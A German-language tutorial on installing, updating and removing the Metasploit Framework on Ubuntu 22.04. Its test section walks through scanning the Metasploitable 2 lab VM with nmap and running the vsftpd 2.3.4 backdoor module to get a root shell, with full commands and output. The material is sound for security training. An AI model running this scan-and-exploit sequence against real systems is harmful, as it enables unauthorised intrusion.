So installierst du das Metasploit Framework unter Ubuntu 22.04

Als Netzwerkadministrator ist es wichtig, nach Sicherheitsschwachstellen zu suchen und sie so schnell wie möglich zu schließen. Metasploit ist ein Open-Source-Framework, das dabei hilft, Bedrohungen und Schwachstellen zu identifizieren. Es findet Schwachstellen in Computersystemen, Netzwerken und Anwendungen und nutzt sie aus. Mit Metasploit können Sicherheitsexperten reale Angriffe simulieren und die Sicherheitsvorkehrungen deines Unternehmens testen. Es wird mit vielen Exploits geliefert und du kannst auch deine eigenen erstellen.

In diesem Lernprogramm lernst du, wie du das Metasploit Framework installierst und grundlegende Tests auf einem Ubuntu 22.04 System durchführst.

Voraussetzungen

  • Ein Rechner mit Ubuntu 22.04 und mindestens 4 GB RAM.
  • Ein Nicht-Root-Benutzer mit sudo-Rechten.
  • Die Unkomplizierte Firewall (UFW) ist aktiviert und läuft.
  • Alles ist auf dem neuesten Stand.
    $ sudo apt update && sudo apt upgrade
    
  • Einige wenige Pakete, die dein System benötigt.
    $ sudo apt install wget curl nano ufw software-properties-common dirmngr apt-transport-https gnupg2 ca-certificates lsb-release ubuntu-keyring unzip -y
    

    Einige dieser Pakete sind vielleicht schon auf deinem System installiert.

Schritt 1 – Nmap installieren

Eines der am häufigsten benötigten Tools für Metasploit ist Nmap, das leider nicht im Quellcode enthalten ist. Wir können es entweder über den Quellcode installieren oder das Binary, das in einer ziemlich aktuellen Version verfügbar ist. Wir werden das Ubuntu-Paket-Repository verwenden, um Nmap zu installieren.

$ sudo apt install -y nmap

Wir werden dir drei Möglichkeiten zeigen, wie du Metasploit installieren kannst. Die erste Möglichkeit ist die Verwendung des Nightly-Installationsskripts. Der zweite Weg ist die Installation durch Kompilieren des Quellcodes. Der dritte Weg ist, direkt das Deb-Paket zu nehmen und es zur Installation von Metasploit zu verwenden. Unabhängig davon, welchen Weg du wählst, musst du zuerst Nmap installieren, da es nicht mit Metapsploit ausgeliefert wird.

Schritt 2 – Metasploit mit dem Nightly Installer installieren

Die Installation von Metasploit ist mit dem Nightly-Installer-Skript ganz einfach. Es wird mit Ruby und PostgreSQL 9.2 ausgeliefert und ist mit dem APT-Paketmanager integriert.

Erstelle ein temporäres Verzeichnis, um das Metasploit-Installationsskript herunterzuladen, und wechsle dorthin.

$ mkdir msf-install && cd ./msf-install

Lade das Installer-Skript herunter und benenne die Datei in msfinstall um.

$ curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall

Setze die Berechtigung 755 für das Skript.

$ chmod 755 msfinstall

Führe das Skript aus.

$ sudo ./msfinstall

Das Skript importiert zunächst den Signierschlüssel von den Metasploit-Servern, kopiert dann die Repository-Adresse für Metasploit in das Verzeichnis /etc/apt/sources.list.d/ und lädt und installiert schließlich das Metasploit-Paket mit APT und setzt die PATH-Variable dafür.

Führe das Metasploit-Konsolenskript zum Starten aus.

$ cd ~
$ msfconsole

Wenn du das Skript zum ersten Mal verwendest, startet es den Installationsassistenten und fragt dich, ob du eine neue Datenbank erstellen möchtest.

 ** Welcome to Metasploit Framework Initial Setup **
    Please answer a few questions to get started.


Would you like to use and setup a new database (recommended)? y

Gib y ein und drücke dann die Eingabetaste, um fortzufahren. Damit wird eine Datenbank erstellt und ihre Daten im Verzeichnis ~/.msf4/db gespeichert.

Running the 'init' command for the database:
Creating database at /home/navjot/.msf4/db
Creating db socket file at /tmp
Starting database at /home/navjot/.msf4/db...server starting
success
Creating database users
Writing client authentication configuration file /home/navjot/.msf4/db/pg_hba.conf
Stopping database at /home/navjot/.msf4/db
Starting database at /home/navjot/.msf4/db...server starting
success
Creating initial database schema
Database initialization successful

 ** Metasploit Framework Initial Setup Complete **

Du gelangst dann zur Metasploit-Konsole, die ungefähr so aussehen sollte wie die folgende.

Metasploit tip: Use the analyze command to suggest runnable modules for
hosts
                                                  
               .;lxO0KXXXK0Oxl:.
           ,o0WMMMMMMMMMMMMMMMMMMKd,
        'xNMMMMMMMMMMMMMMMMMMMMMMMMMWx,
      :KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK:
    .KMMMMMMMMMMMMMMMWNNNWMMMMMMMMMMMMMMMX,
   lWMMMMMMMMMMMXd:..     ..;dKMMMMMMMMMMMMo
  xMMMMMMMMMMWd.               .oNMMMMMMMMMMk
 oMMMMMMMMMMx.                    dMMMMMMMMMMx
.WMMMMMMMMM:                       :MMMMMMMMMM,
xMMMMMMMMMo                         lMMMMMMMMMO
NMMMMMMMMW                    ,cccccoMMMMMMMMMWlccccc;
MMMMMMMMMX                     ;KMMMMMMMMMMMMMMMMMMX:
NMMMMMMMMW.                      ;KMMMMMMMMMMMMMMX:
xMMMMMMMMMd                        ,0MMMMMMMMMMK;
.WMMMMMMMMMc                         'OMMMMMM0,
 lMMMMMMMMMMk.                         .kMMO'
  dMMMMMMMMMMWd'                         ..
   cWMMMMMMMMMMMNxc'.                ##########
    .0MMMMMMMMMMMMMMMMWc            #+#    #+#
      ;0MMMMMMMMMMMMMMMo.          +:+
        .dNMMMMMMMMMMMMo          +#++:++#+
           'oOWMMMMMMMMo                +:+
               .,cdkO0K;        :+:    :+:                                
                                :::::::+:
                      Metasploit

       =[ metasploit v6.4.1-dev-                          ]
+ -- --=[ 2405 exploits - 1239 auxiliary - 422 post       ]
+ -- --=[ 1465 payloads - 47 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 >

Metasploit Nightly Installer Konsole

Überprüfe den Status der Datenbank.

msf6 > db_status
[*] Connected to msf. Connection type: postgresql.

Dies bestätigt, dass die Verbindung zur PostgreSQL-Datenbank korrekt hergestellt wurde und einwandfrei funktioniert.

Beende die Konsole.

msf6 > exit

Schritt 3 – Installiere Metasploit mit Hilfe des Quellcodes

Installiere die Voraussetzungen

Installiere die von Metasploit benötigten Pakete.

$ sudo apt install -y autoconf bison build-essential gpgv2 libaprutil1 libgmp3-dev libpcap-dev libpq-dev libreadline-dev libsqlite3-dev libssl-dev locate libsvn1 libtool libxml2-dev libxslt1-dev libyaml-dev libncurses-dev xsel zlib1g-dev

Installiere Git. Möglicherweise ist es bereits auf deinem Server vorhanden.

$ sudo apt install -y git

PostgreSQL installieren

Installiere PostgreSQL. Ubuntu 22.04 wird standardmäßig mit PostgreSQL 14 ausgeliefert, das wir auch verwenden werden.

$ sudo apt install -y postgresql postgresql-contrib

Überprüfe den Status des PostgreSQL-Dienstes.

$ sudo systemctl status postgresql

Du solltest die folgende Ausgabe sehen, die bestätigt, dass PostgreSQL läuft.

? postgresql.service - PostgreSQL RDBMS
     Loaded: loaded (/lib/systemd/system/postgresql.service; enabled; vendor preset: enabled)
     Active: active (exited) since Mon 2024-04-01 14:22:31 UTC; 7s ago
    Process: 5984 ExecStart=/bin/true (code=exited, status=0/SUCCESS)
   Main PID: 5984 (code=exited, status=0/SUCCESS)
        CPU: 1ms

Apr 01 14:22:31 metasploit systemd[1]: Starting PostgreSQL RDBMS...
Apr 01 14:22:31 metasploit systemd[1]: Finished PostgreSQL RDBMS.

PostgreSQL konfigurieren

Wechsle zum PostgreSQL-Benutzer.

$ sudo -i -u postgres

Erstelle eine PostgreSQL-Rolle für Metasploit. Du wirst aufgefordert, ein Passwort einzurichten.

$ createuser msfuser -S -R -P

Erstelle eine PostgreSQL-Datenbank für Metasploit und setze den Besitzer auf den von uns erstellten Benutzer.

$ createdb msfdb -O msfuser

Beende das PostgreSQL-Konto.

$ exit

Öffne die Datei /etc/postgresql/14/main/pg_hba.conf zum Bearbeiten.

$ sudo nano /etc/postgresql/14/main/pg_hba.conf

Füge die folgende Zeile unter der Zeile host all all 127.0.0.1/32 scram-sha-256 hinzu.

....
host    all             all             127.0.0.1/32            scram-sha-256
host    "msfdb"         "msfuser"       127.0.0.1/32            md5

Speichere die Datei, indem du Strg + X drückst und Y eingibst, wenn du dazu aufgefordert wirst.

Installiere den Ruby Version Manager (RVM)

Metasploit benötigt Ruby für die Installation. Wir werden den Ruby Version Manager (RVM) verwenden, um Ruby und Gems zu installieren.

Importiere den RVM GPG-Schlüssel.

$ gpg2 --keyserver hkp://keyserver.ubuntu.com --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 7D2BAF1CF37B13E2069D6956105BD0E739499BDB

Verwende curl, um das RVM-Installationsskript herunterzuladen.

$ \curl -sSL https://get.rvm.io -o rvm.sh

Installiere die stabile Version von RVM.

$ cat rvm.sh | bash -s stable

Rufe die RVM-Skripte aus dem Verzeichnis auf, in dem sie installiert wurden.

$ source ~/.rvm/scripts/rvm

Lade Metasploit herunter

Wechsle in das Home-Verzeichnis.

$ cd ~

Lade den Quellcode von Metasploit von GitHub herunter.

$ git clone https://github.com/rapid7/metasploit-framework.git

Wechsle in das Metasploit-Verzeichnis.

$ cd metasploit-framework

Wenn du in das Verzeichnis wechselst, siehst du die folgenden Anweisungen.

Required ruby-3.0.5 is not installed.
To install do: 'rvm install "ruby-3.0.5"'

Darin wird erwähnt, dass das Metasploit-Framework die Ruby-Version 3.0.5 benötigt. Du kannst es auch bestätigen, indem du den folgenden Befehl ausführst.

$ cat .ruby-version
3.0.5

Ruby installieren

An dieser Stelle wird es knifflig. Ubuntu 22.04 unterstützt OpenSSL 3, während Ruby 3.0.x nur mit OpenSSL 1.1 funktioniert. Das bedeutet, dass wir es nicht auf dem üblichen Weg installieren können. Die beste Lösung ist, den Quellcode von OpenSSL 1.1 herunterzuladen, ihn zu kompilieren und damit Ruby zu installieren. Dies hat keine Auswirkungen auf andere Anwendungen auf deinem Server.

Hol dir OpenSSL 1.1. Die neueste Version findest du auf der Seite mit den OpenSSL 1.1-Quellen.

$ wget https://www.openssl.org/source/old/1.1.1/openssl-1.1.1w.tar.gz

Entpacke das heruntergeladene Archiv.

$ tar zxf openssl-1.1.1w.tar.gz

Wechsle in das entpackte Verzeichnis.

$ cd openssl-1.1.1w

Konfiguriere den Quellcode.

$ ./config --prefix=$HOME/.openssl/openssl-1.1.1w --openssldir=$HOME/.openssl/openssl-1.1.1w

Führe den make-Befehl aus.

$ make

Führe den make-Befehl erneut aus, um Tests durchzuführen.

$ make tests

Installiere OpenSSL 1.1.1w.

$ make install

Konfiguriere das Verzeichnis SSL certs so, dass es auf das Verzeichnis /etc/ssl/certs zeigt und entferne das ursprüngliche Verzeichnis.

$ rm -rf ~/.openssl/openssl-1.1.1w/certs
$ ln -s /etc/ssl/certs ~/.openssl/openssl-1.1.1w/certs

Wechsle zurück in das Metasploit-Verzeichnis.

$ cd ~/metasploit-framework

Installiere Ruby.

$ rvm install "ruby-3.0.5" --with-openssl-dir=$HOME/.openssl/openssl-1.1.1w
Checking requirements for ubuntu.
Installing requirements for ubuntu.
Updating system
Installing required packages: libffi-dev, libgdbm-dev, libncurses5-dev, sqlite3.....
........................
Install of ruby-3.0.5 - #complete 
Ruby was built without documentation, to build it run: rvm docs generate-ri

Installiere Metasploit

Wechsle in das Metasploit-Verzeichnis.

$ cd ~/metasploit-framework

Installiere den Bundler Gem.

$ gem install bundler

Installiere die notwendigen Ruby Gems.

$ bundle install

Starte die Metasploit-Konsole.

$ ./msfconsole

Du solltest eine ähnliche Ausgabe sehen.

Metasploit tip: You can use help to view all available commands
                                                  
 __________________ 
< Shells are cool. >
 ------------------ 
   \                                      
    \                                     
     \                                    
      \                                   
       \ ?????????                        
        ???????????                       
       ????????????                       
      ???????????????                     
     ??????????????????                   
   ?????????????????????                  
  ???????????????????????                 
  ???????????????????????                 
   ?????????????????????                  
????????????????????????      ??????      
 ??????????????????????     ????????????  
    ??????????????????     ?????????????? 
      ????????????????????????????????????
            ???????????????????   ????????
            ???????????????????   ?????? ?
             ??????????????????  ?? ????  
               ????????????????     ???   
               ??????  ?????????   ?      
              ???????   ????????          
              ???????   ?????????         
            ?????????   ?????????         
            ?????????   ??????????        
             ???????       ???????        
                                          


       =[ metasploit v6.4.2-dev-44ba1b5082                ]
+ -- --=[ 2408 exploits - 1240 auxiliary - 422 post       ]
+ -- --=[ 1465 payloads - 47 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 >

Metasploit Console Output

Teste die Datenbankverbindung.

msf6 > db_status
[*] postgresql selected, no connection

Verbinde dich mit der Datenbank, die wir zuvor erstellt haben.

msf6 > db_connect msfuser:yourmsfpassword@127.0.0.1:5432/msfdb
[*] Connected to Postgres data service: 127.0.0.1/msfdb

Überprüfe den Status der Datenbank.

msf6 > db_status
[*] Connected to msfdb. Connection type: postgresql. Connection name: local_db_service.

Beende die Konsole.

msf6 > exit

Konfiguriere die Metasploit-Datenbankeinstellungen

Die Datenbankverbindung bleibt bei wiederholter Nutzung der Metasploit-Konsole nicht bestehen. Um sie dauerhaft zu machen, müssen wir sie in einer Datei im Verzeichnis ~/.msf4 speichern.

Erstelle eine Datei database.yml im Verzeichnis ~/.msf4/.

$ touch ~/.msf4/database.yml

Öffne sie zum Bearbeiten.

$ nano ~/.msf4/database.yml

Füge den folgenden Code in die Datei ein.

production:
  adapter: postgresql
  database: msfdb
  username: msfuser
  password: [PASSWORD]
  host: 127.0.0.1
  port: 5432
  pool: 75
  timeout: 5

Speichere die Datei, indem du Strg + X drückst und Y eingibst, wenn du dazu aufgefordert wirst.

Starte die Konsole erneut.

$ ./msfconsole

Überprüfe den Status der Datenbankverbindung.

msf6 > db_status
[*] Connected to msfdb. Connection type: postgresql.

Dies bestätigt, dass Metasploit erfolgreich mit der PostgreSQL-Datenbank verbunden ist.

Schritt 4 – Installiere Metasploit mit dem Binärpaket

Besuche die APT-Repository-Seite von Metasploit und wähle die URL für das neueste Metasploit deb-Paket unten auf der Seite. Zum Zeitpunkt der Erstellung dieses Artikels war die letzte verfügbare Version 6.4.1+20240326102606.

Lade das Paket mit dem Befehl wget herunter.

$ wget https://apt.metasploit.com/pool/main/m/metasploit-framework/metasploit-framework_6.4.1%2B20240326102606~1rapid7-1_amd64.deb

Installiere das Paket.

$ sudo dpkg -i metasploit-framework_6.4.1+20240326102606~1rapid7-1_amd64.deb

Setze die Installation fort, indem du den Metasploit-Konsolenbefehl ausführst.

$ msfconsole

Fahre auf die gleiche Weise wie in Schritt 1 fort, um die Installation von Metasploit abzuschließen.

Schritt 5 – Teste Metasploit

Das obere Banner, das du beim Start der Metasploit-Konsole siehst, kann störend sein. Du kannst es mit der Option -q ausschalten.

$ msfconsole -q

Auf diese Weise wirst du direkt zur Konsole weitergeleitet.

msf6 >

Um alle verfügbaren Befehle aufzulisten, rufe help auf der Konsole auf.

msf6 > help

Du erhältst dann die folgende Ausgabe.

Core Commands
=============

    Command           Description
    -------           -----------
    ?                 Help menu
    banner            Display an awesome metasploit banner
    cd                Change the current working directory
    color             Toggle color
    connect           Communicate with a host
    debug             Display information useful for debugging
    exit              Exit the console
    features          Display the list of not yet released features that can be opted in to
    get               Gets the value of a context-specific variable
    getg              Gets the value of a global variable
    grep              Grep the output of another command
    help              Help menu
    history           Show command history
    load              Load a framework plugin
    quit              Exit the console
    repeat            Repeat a list of commands
    route             Route traffic through a session
    save              Saves the active datastores
    sessions          Dump session listings and display information about sessions
    set               Sets a context-specific variable to a value
    setg              Sets a global variable to a value
    sleep             Do nothing for the specified number of seconds
    spool             Write console output into a file as well the screen
    threads           View and manipulate background threads
    tips              Show a list of useful productivity tips
    unload            Unload a framework plugin
    unset             Unsets one or more context-specific variables
    unsetg            Unsets one or more global variables
    version           Show the framework and console library version numbers
.........................................................................

Um alle verfügbaren Exploits aufzulisten, führe den folgenden Befehl aus.

msf6 > show exploits

Du solltest eine ähnliche Ausgabe erhalten.

Metasploit Exploits anzeigen Ausgabe

Metasploit bietet auch eine werkzeugspezifische Dokumentation mit dem folgenden Befehl. Damit kannst du mehr darüber herausfinden, wie ein bestimmter Exploit funktioniert. Wir werden uns ansehen, wie der Exploit xorg_x11_server funktioniert.

msf6 > info xorg_x11_server

Du wirst die folgende Ausgabe erhalten.

msf6 > info exploit/aix/local/xorg_x11_server

       Name: Xorg X11 Server Local Privilege Escalation
     Module: exploit/aix/local/xorg_x11_server
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2018-10-25

Provided by:
  Narendra Shinde
  Zack Flack <dzflack@gmail.com>

Module side effects:
 config-changes

Available targets:
      Id  Name
      --  ----
      0   IBM AIX Version 6.1
  =>  1   IBM AIX Version 7.1
      2   IBM AIX Version 7.2

Check supported:
  Yes

Basic options:
  Name         Current Setting  Required  Description
  ----         ---------------  --------  -----------
  SESSION                       yes       The session to run this module on
  WritableDir  /tmp             yes       A directory where we can write files

Payload information:

Description:
  WARNING: Successful execution of this module results in /etc/passwd being overwritten.

  This module is a port of the OpenBSD X11 Xorg exploit to run on AIX.

  A permission check flaw exists for -modulepath and -logfile options when
  starting Xorg.  This allows unprivileged users that can start the server
  the ability to elevate privileges and run arbitrary code under root
  privileges.

  This module has been tested with AIX 7.1 and 7.2, and should also work with 6.1.
  Due to permission restrictions of the crontab in AIX, this module does not use cron,
  and instead overwrites /etc/passwd in order to create a new user with root privileges.
  All currently logged in users need to be included when /etc/passwd is overwritten,
  else AIX will throw 'Cannot get "LOGNAME" variable' when attempting to change user.
  The Xorg '-fp' parameter used in the OpenBSD exploit does not work on AIX,
  and is replaced by '-config', in conjuction with ANSI-C quotes to inject newlines when
  overwriting /etc/passwd.

...................................

Wir wollen Metasploit verwenden, um offene Ports auf einem infizierten Rechner zu überprüfen. Für unser Tutorial werden wir die virtuelle Maschine Metasploit verwenden. Das ist eine Testmaschine, die du zu Lernzwecken verwenden kannst. Wir verwenden Metasploitable 2, das mit einer herunterladbaren VirtualBox-Festplatte geliefert wird, mit der du eine virtuelle Maschine einrichten kannst, die wir für unsere Tests verwenden. Du kannst auch Metasploitable 3 verwenden, eine VirtualBox-Maschine, die auf Vagrant basiert und eine andere Art der Installation erfordert.

Benutze das Nmap-Tool, um nach offenen Ports zu suchen.

msf6 > nmap -sV 192.168.31.36

Je nach Rechner, den du untersuchst, solltest du eine ähnliche Ausgabe erhalten.

msf6 > nmap -sV 192.168.31.36
[*] exec: nmap -sV 192.168.31.36

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-03 12:23 IST
Nmap scan report for 192.168.31.36
Host is up (0.0046s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login
514/tcp  open  tcpwrapped
1099/tcp open  java-rmi    GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.57 seconds

Da wir nun eine Liste offener Ports haben, die wir ausnutzen können, wollen wir einen davon verwenden. Wir werden den Dienst vsftpd verwenden, um ihn auszunutzen. Bevor wir das tun, suchen wir ihn in unserer Exploit-Liste, um mehr über ihn herauszufinden.

msf6 > search vsftpd

Du wirst die folgende Ausgabe erhalten.

msf6 > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  auxiliary/dos/ftp/vsftpd_232          2011-02-03       normal     Yes    VSFTPD 2.3.2 Denial of Service
   1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution


Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

Als Nächstes können wir einfach den Namen des Exploits kopieren und ihn mit dem folgenden Befehl verwenden. Mit diesem Befehl können wir in den Exploit eindringen.

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor

Du erhältst die folgende Ausgabe.

[*] No payload configured, defaulting to cmd/unix/interact

Die Konsolen-Eingabeaufforderung sieht wie folgt aus.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) >

Als Nächstes verwendest du den Befehl show options, um die Anforderungen des Exploits zu überprüfen.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Du erhältst die folgende Ausgabe.

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    21               yes       The target port (TCP)

Exploit target:

   Id  Name
   --  ----
   0   Automatic

View the full module info with the info, or info -d command.

Hier siehst du die aktuellen Einstellungen für einige Variablen. RHOSTS in der Ausgabe gibt die IP des Remote-Hosts an und RPORT verweist auf den Port des Remote-Hosts. Setze die IP des Remote-Hosts, damit dieser Exploit funktioniert. Damit wird festgelegt, welcher Rechner angegriffen werden soll.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.31.36
RHOSTS => 192.168.31.36

Jetzt, da die IP des Remote-Hosts konfiguriert ist, können wir mit dem Hack fortfahren. Führe den Befehl exploit aus und warte, bis der Hack ausgeführt wird.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

Du solltest die folgende Ausgabe sehen.

[*] 192.168.31.36:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.31.36:21 - USER: 331 Please specify the password.
[+] 192.168.31.36:21 - Backdoor service has been spawned, handling...
[+] 192.168.31.36:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.31.10:46765 -> 192.168.31.36:6200) at 2024-04-03 12:37:46 +0530

Du solltest jeden beliebigen Befehl eingeben können und er wird auf dem Zielsystem funktionieren und den Hack bestätigen. Benutze zur Bestätigung den Befehl ifconfig, um die Netzwerkdetails abzurufen.

ifconfig

Du erhältst die folgende Ausgabe, die zeigt, dass die Ausgabe vom Zielrechner kommt, was bedeutet, dass unser Exploit funktioniert hat.

eth0      Link encap:Ethernet  HWaddr 08:00:27:88:8d:ae
          inet addr:192.168.31.36  Bcast:192.168.31.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe88:8dae/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1671 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1529 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:145408 (142.0 KB)  TX bytes:142342 (139.0 KB)
          Base address:0xd020 Memory:f0200000-f0220000 

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:274 errors:0 dropped:0 overruns:0 frame:0
          TX packets:274 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:109881 (107.3 KB)  TX bytes:109881 (107.3 KB)

Dies ist nur eine der Möglichkeiten, die Metasploit bietet. Du kannst noch viel mehr damit machen, um Schwachstellen zu finden und herauszufinden, welche deiner Rechner offen und angreifbar sind, und sie zu flicken.

Schritt 6 – Metasploit aktualisieren

Metasploit wird mit einem Update-Skript geliefert. Wenn du Metasploit mit Hilfe von Schritt 2 und Schritt 4 installiert hast, musst du nur den folgenden Befehl ausführen, um Metasploit zu aktualisieren.

$ sudo msfupdate

Mit denselben beiden Methoden kannst du auch das APT-Repository konfigurieren, sodass du das Skript nicht ausführen musst. Jedes Mal, wenn du sudo apt update && sudo apt upgrade ausführst, wird Metasploit aktualisiert.

Wenn du Metasploit aus dem Quellcode installiert hast, musst du es manuell aktualisieren. Wechsle in das Metasploit-Framework-Verzeichnis.

$ cd ~/metasploit-framework

Setze zunächst einige Variablen für Git. Das ist nur ein einmaliger Vorgang.

$ git config --global user.name "YourName"
$ git config --global user.email "name@example.com"

Jetzt kannst du die Updates mit dem folgenden Befehl ausführen.

$ ./msfupdate

Damit du diesen Befehl nicht immer wieder ausführen musst, kannst du einen Cron-Job einrichten, der die Aktualisierung automatisch vornimmt. Führe den folgenden Befehl aus, um den Crontab-Editor zu starten.

$ crontab -e

Du wirst gefragt, welchen Editor du verwenden möchtest.

no crontab for navjot - using an empty one

Select an editor.  To change later, run 'select-editor'.
  1. /bin/nano        <---- easiest
  2. /usr/bin/vim.basic
  3. /usr/bin/vim.tiny
  4. /bin/ed

Choose 1-4 [1]: 1

Wähle 1, wenn du den nano-Editor verwenden willst. Diesen werden wir verwenden.

Als Nächstes fügst du den folgenden Code ein, um automatische Updates für Metasploit zu aktivieren.

0 1 * * * /home/<username>/metasploit-framework/msfupdate > /dev/null 2>&amp;1

Dadurch wird das Update-Skript jeden Tag um 1 Uhr nachts ausgeführt. Speichere die Datei, indem du Strg + X drückst und Y eingibst, wenn du dazu aufgefordert wirst.

Das war’s schon. So bleibt dein Metasploit auf dem neuesten Stand, ohne dass du eingreifen musst.

Schritt 7 – Metasploit deinstallieren

Wenn du Metasploit mit Hilfe von Schritt 2 oder 4 installiert hast, musst du nur den folgenden Befehl ausführen, um Metasploit zu entfernen.

$ sudo apt autoremove --purge metasploit-framework

Wenn du Metasploit jedoch über den Quellcode installiert hast, musst du eine Reihe von Befehlen ausführen, um Metasploit zu entfernen.

$ rm -Rf ~/.rvm
$ rm -Rf ~/.gem
$ rm -f ~/.gemrc
$ rm -Rf ~/.bundle
$ rm -f ~/rvm.sh
$ rm -rf ~/.local/share/gem

Öffne die Datei .bashrc zum Bearbeiten.

$ nano ~/.bashrc

Entferne die folgende Zeile am Ende der Datei.

# Add RVM to PATH for scripting. Make sure this is the last PATH variable change.
export PATH="$PATH:$HOME/.rvm/bin"

Entferne zu guter Letzt PostgreSQL, wenn du es nicht mehr brauchst.

Speichere die Datei, indem du Strg + X drückst und Y eingibst, wenn du dazu aufgefordert wirst.

Öffne die .bash_profile zur Bearbeitung.

$ nano ~/,bash_profile

Entferne die folgenden Zeilen am Ende der Datei.

[ -s "$HOME/.rvm/scripts/rvm" ]] && source "$HOME/.rvm/scripts/rvm" # Load RVM into a shell session *as a function*

Speichere die Datei, indem du Strg + X drückst und Y eingibst, wenn du dazu aufgefordert wirst.

Öffne die Datei .profile, um sie zu bearbeiten.

$ nano ~/.profile

Entferne den folgenden Code am unteren Ende der Datei.

# Add RVM to PATH for scripting. Make sure this is the last PATH variable change.
export PATH="$PATH:$HOME/.rvm/bin"

[[ -s "$HOME/.rvm/scripts/rvm" ]] && source "$HOME/.rvm/scripts/rvm" # Load RVM into a shell session *as a function*

Speichere die Datei, indem du Strg + X drückst und Y eingibst, wenn du dazu aufgefordert wirst.

Rufe die Dateien auf, um die Änderungen zu laden.

$ source ~/.bashrc
$ source ~/.bash_profile
$ source ~/.profile

Entferne die Metasploit-Verzeichnisse.

$ rm -rf ~/metasploit-framework
$ rm -rf ~/.msf4

Deinstalliere PostgreSQL, wenn du es nicht mehr brauchst.

$ sudo apt autoremove --purge postgresql postgresql-contrib

Deinstalliere OpenSSL 1.1.1. Mit den folgenden Befehlen deinstallierst du das Paket, bereinigst das Verzeichnis und entfernst das heruntergeladene Archiv.

$ cd ~/openssl-1.1.1w
$ make uninstall
$ cd ~/
$ rm -rf ./openssl-1.1.1w
$ rm openssl-1.1.1w.tar.gz

Fazit

Damit ist unsere Anleitung zur Installation des Metasploit-Frameworks auf einem Ubuntu 22.04 System und zur Durchführung einiger grundlegender Operationen abgeschlossen. Wenn du noch Fragen hast, schreibe sie in die Kommentare unten.

Das könnte dich auch interessieren …